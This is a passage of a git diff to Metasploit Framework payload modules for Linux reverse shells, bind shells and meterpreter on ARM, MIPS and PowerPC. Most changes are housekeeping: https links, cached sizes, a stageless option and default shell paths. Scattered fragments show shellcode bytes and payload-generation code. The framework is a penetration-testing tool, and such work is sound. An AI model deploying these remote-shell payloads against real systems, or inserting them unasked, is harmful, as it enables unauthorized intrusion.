+        OptString.new('SHELL', [ true, "The shell to execute.", "/bin/sh" ]),
+      ])
+  end
+
+  def generate
+    p = super
+
+    sh = datastore['SHELL']
+    if sh.length >= 16
+      raise ArgumentError, "The specified shell must be less than 16 bytes."
+    end
+    p[136, sh.length] = sh
+
+    p
+  end
+end
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
index 1b0d8eb5d3..4fff3cf0a5 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 642304
+  CachedSize = 668392
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
index 505a2331bb..d1e889a621 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 642304
+  CachedSize = 668392
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
index 59589b16d8..7ac0601213 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 642304
+  CachedSize = 668392
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb
index 788eb1357c..10f93138d4 100644
--- a/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb
+++ b/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/linux/armle/adduser.rb b/modules/payloads/singles/linux/armle/adduser.rb
index 9cf9867695..bb8d143a42 100644
--- a/modules/payloads/singles/linux/armle/adduser.rb
+++ b/modules/payloads/singles/linux/armle/adduser.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 ###
 #
 # AddUser
@@ -59,5 +58,4 @@ module MetasploitModule
       str + pwdir
 
   end
-
 end
diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb
index 7c0b4deefe..5019397fbb 100644
--- a/modules/payloads/singles/linux/armle/exec.rb
+++ b/modules/payloads/singles/linux/armle/exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -41,5 +41,4 @@ module MetasploitModule
       "\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf" + cmd
 
   end
-
 end
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
index 121a74192e..5da3516adf 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
 
 module MetasploitModule
 
-  CachedSize = 641064
+  CachedSize = 666984
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
index 9efd3163dc..976d22b3d0 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
 
 module MetasploitModule
 
-  CachedSize = 641064
+  CachedSize = 666984
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
index 2b502807d0..866d3a0e5c 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
 
 module MetasploitModule
 
-  CachedSize = 641064
+  CachedSize = 666984
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb
index 36a7ded1a9..76702bce5c 100644
--- a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb
+++ b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -112,7 +112,7 @@ module MetasploitModule
     # Register command execution options
     register_options(
       [
-        OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]),
+        OptString.new('SHELL', [ true, "The shell to execute.", "/bin/sh" ]),
         OptString.new('ARGV0', [ false, "argv[0] to pass to execve", "sh" ]) # mostly used for busybox
       ])
   end
@@ -136,5 +136,4 @@ module MetasploitModule
 
     p
   end
-
 end
diff --git a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb
index 57b8082aca..d7e159ef3e 100644
--- a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -112,7 +112,7 @@ module MetasploitModule
     # Register command execution options
     register_options(
       [
-        OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]),
+        OptString.new('SHELL', [ true, "The shell to execute.", "/bin/sh" ]),
         OptString.new('ARGV0', [ false, "argv[0] to pass to execve", "sh" ]) # mostly used for busybox
       ])
   end
@@ -136,5 +136,4 @@ module MetasploitModule
 
     p
   end
-
 end
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
index bb3df3f2ae..8e5a81046a 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
 
 module MetasploitModule
 
-  CachedSize = 1023816
+  CachedSize = 1059368
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
index 6d518cce06..01618c62b5 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
 
 module MetasploitModule
 
-  CachedSize = 1023816
+  CachedSize = 1059368
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
index 6966468f86..65778b0f92 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
 
 module MetasploitModule
 
-  CachedSize = 1023816
+  CachedSize = 1059368
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb
index 5a82591eeb..5f1616eda5 100644
--- a/modules/payloads/singles/linux/mipsbe/exec.rb
+++ b/modules/payloads/singles/linux/mipsbe/exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,5 +75,4 @@ module MetasploitModule
     return super + shellcode
 
   end
-
 end
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
index 82dde575dc..ee78530672 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1002328
+  CachedSize = 1037512
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
index 95e367a69d..05b53aa7ba 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1002328
+  CachedSize = 1037512
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
index e2a9bf891f..bc38d4a374 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1002328
+  CachedSize = 1037512
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/mipsbe/reboot.rb b/modules/payloads/singles/linux/mipsbe/reboot.rb
index 2b7dc471a2..aea28b28e7 100644
--- a/modules/payloads/singles/linux/mipsbe/reboot.rb
+++ b/modules/payloads/singles/linux/mipsbe/reboot.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -51,5 +51,4 @@ module MetasploitModule
 
     return super + shellcode
   end
-
 end
diff --git a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb
index 94d8873e44..ac5cc17887 100644
--- a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb
+++ b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -122,5 +122,4 @@ module MetasploitModule
 
     return super + shellcode
   end
-
 end
diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb
index 603e0fb869..b646a3aae7 100644
--- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -120,5 +120,4 @@ module MetasploitModule
 
     return super + shellcode
   end
-
 end
diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb
index e66f999f8c..545d5f3650 100644
--- a/modules/payloads/singles/linux/mipsle/exec.rb
+++ b/modules/payloads/singles/linux/mipsle/exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -76,5 +76,4 @@ module MetasploitModule
     return super + shellcode
 
   end
-
 end
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
index 661f405c2f..92ad4f9c77 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
 
 module MetasploitModule
 
-  CachedSize = 1002424
+  CachedSize = 1036808
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
index a884d7486d..27e5989778 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
 
 module MetasploitModule
 
-  CachedSize = 1002424
+  CachedSize = 1036808
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
index dd08d2ecfa..66cdd82b24 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
 
 module MetasploitModule
 
-  CachedSize = 1002424
+  CachedSize = 1036808
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/mipsle/reboot.rb b/modules/payloads/singles/linux/mipsle/reboot.rb
index 2d2da0b4a5..9e9fc02aad 100644
--- a/modules/payloads/singles/linux/mipsle/reboot.rb
+++ b/modules/payloads/singles/linux/mipsle/reboot.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,5 +50,4 @@ module MetasploitModule
 
     return super + shellcode
   end
-
 end
diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb
index 48fbde0737..97cac4d892 100644
--- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb
+++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -114,5 +114,4 @@ module MetasploitModule
 
     return super + shellcode
   end
-
 end
diff --git a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb
index 78aa63ad2c..dd01b73758 100644
--- a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -116,5 +116,4 @@ module MetasploitModule
 
     return super + shellcode
   end
-
 end
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
index a95ea15d29..7c3d17f612 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
 
 module MetasploitModule
 
-  CachedSize = 788788
+  CachedSize = 789196
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
index 5e5919de63..2edd9d4421 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
 
 module MetasploitModule
 
-  CachedSize = 788788
+  CachedSize = 789196
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
index 0a97807845..fe8cbdd08a 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
 
 module MetasploitModule
 
-  CachedSize = 788788
+  CachedSize = 789196
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb
index 0e11e4abda..41cab974e6 100644
--- a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb
+++ b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -90,5 +90,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/ppc/shell_find_port.rb b/modules/payloads/singles/linux/ppc/shell_find_port.rb
index ca1ba81ad1..c1dc99164e 100644
--- a/modules/payloads/singles/linux/ppc/shell_find_port.rb
+++ b/modules/payloads/singles/linux/ppc/shell_find_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb
index 6232fd7767..56fb6abc4d 100644
--- a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,5 +81,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb
index c444ddd7f1..2f35adc74a 100644
--- a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb
+++ b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -90,5 +90,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/ppc64/shell_find_port.rb b/modules/payloads/singles/linux/ppc64/shell_find_port.rb
index 3f674591a0..9e845fa47e 100644
--- a/modules/payloads/singles/linux/ppc64/shell_find_port.rb
+++ b/modules/payloads/singles/linux/ppc64/shell_find_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
